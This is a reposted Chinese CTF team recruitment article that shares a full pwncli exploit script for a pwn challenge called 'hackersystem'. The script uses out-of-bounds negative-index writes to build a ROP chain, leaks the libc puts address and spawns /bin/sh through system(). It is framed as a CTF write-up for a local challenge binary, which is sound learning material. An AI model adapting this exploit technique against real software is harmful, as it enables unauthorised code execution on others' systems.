来看看团队PWN佬写的EXP

admin 2025-12-14 19:05:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档主要介绍魔丸CTF组织的纳新活动,展示了团队在羊城杯比赛获奖情况,并详细分享了一个PWN题目的解题思路和完整EXP代码,包括伪代码分析和利用链构造过程,最后招募密码学、AI安全、逆向方向的技术人员加入交流。 综合评分: 84 文章分类: CTF,二进制安全,漏洞分析,渗透测试,安全招聘


cover_image

来看看团队PWN佬写的EXP

原创

云晞科技Sec

云晞科技Sec

2025年11月22日 01:29 湖北

魔丸组织纳新

无论你是刚踏入 CTF 世界的新秀,还是正在钻研某一方向的硬核选手,这里都是你的主场!魔丸交流群聚集了来自 Misc、Web、Crypto、RE、Pwn、区块链等方向的师傅,大家日常互相答疑、分享思路、组队冲榜,一起提升技术水平。

为了进一步壮大团队实力,我们现面向全网招募 密码学、AI 安全、逆向方向的师傅 加入交流。只要你愿意分享、热爱探索、喜欢和同好一起“碰撞火花”,我们都热烈欢迎!

加入魔丸交流群,与志同道合的伙伴并肩攻克挑战,共同成长为更强的选手!

羊城杯

在今年的羊城杯网络安全大赛中,魔丸组织凭借卓越的实力与默契的协作荣获三等奖。

我们期待有更多志同道合、技术精湛的师傅加入魔丸大家庭,与我们一起探索更深的技术边界,共创更加辉煌的成绩。

群内师傅将不定期更新各方向的 CTF 题目,难度从入门到进阶循序递进。同时,我们也鼓励在群内开展深入的技术交流与思路探讨,共同提升。

先来看看伪C代码吧

main

hacker

shell

大佬的解题EXP

#!python3
from pwncli import *

elf = ELF("./hackersystem")
io = gift.io = elf.process()
libc = elf.libc
context(log_level="debug", arch=elf.arch, terminal=["tmux", "sp", "-h"])
# --------

sla(b"Enter administrator's name:\n", b"aaa")

pop_rdi = 0x0000000000400a33
ret = 0x0000000000400631
id_addr = 0x4007E6
vuln_addr = 0x4007F7
puts_got = elf.got.puts
puts_plt = elf.plt.puts

rop_chain = [
    -0x8000000000000000 + 13, pop_rdi,
    -0x8000000000000000 + 14, puts_got,
    -0x8000000000000000 + 15, puts_plt,
    -0x8000000000000000 + 16, vuln_addr,
]

for i in range(10):
&nbsp; &nbsp;&nbsp;if&nbsp;i * 2 < len(rop_chain):
&nbsp; &nbsp; &nbsp; &nbsp; index = rop_chain[2 * i]
&nbsp; &nbsp; &nbsp; &nbsp; age = rop_chain[2 * i + 1]
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; index = 0
&nbsp; &nbsp; &nbsp; &nbsp; age = 0
&nbsp; &nbsp; sla(b"Enter hacker index:\n", str(index).encode())
&nbsp; &nbsp; sla(b"Enter hacker age:\n", str(age).encode())

libc.address = u64_ex(ru(b"\x7f")[-6:]) - libc.sym.puts

success(f"{libc.address = :x}")

system = libc.sym.system
bin_sh = next(libc.search(b"/bin/sh\0"))

rop_chain = [
&nbsp; &nbsp; -0x8000000000000000 + 13, ret,
&nbsp; &nbsp; -0x8000000000000000 + 14, pop_rdi,
&nbsp; &nbsp; -0x8000000000000000 + 15, bin_sh,
&nbsp; &nbsp; -0x8000000000000000 + 16, system,
]

for&nbsp;i&nbsp;in&nbsp;range(10):
&nbsp; &nbsp;&nbsp;if&nbsp;i * 2 < len(rop_chain):
&nbsp; &nbsp; &nbsp; &nbsp; index = rop_chain[2 * i]
&nbsp; &nbsp; &nbsp; &nbsp; age = rop_chain[2 * i + 1]
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; index = 0
&nbsp; &nbsp; &nbsp; &nbsp; age = 0
&nbsp; &nbsp; sla(b"Enter hacker index:\n", str(index).encode())
&nbsp; &nbsp; sla(b"Enter hacker age:\n", str(age).encode())

# --------
ia()

欢迎加入魔丸组织一起

交流

欢迎网络安全爱好者加入一起交流~


评论:0   参与:  10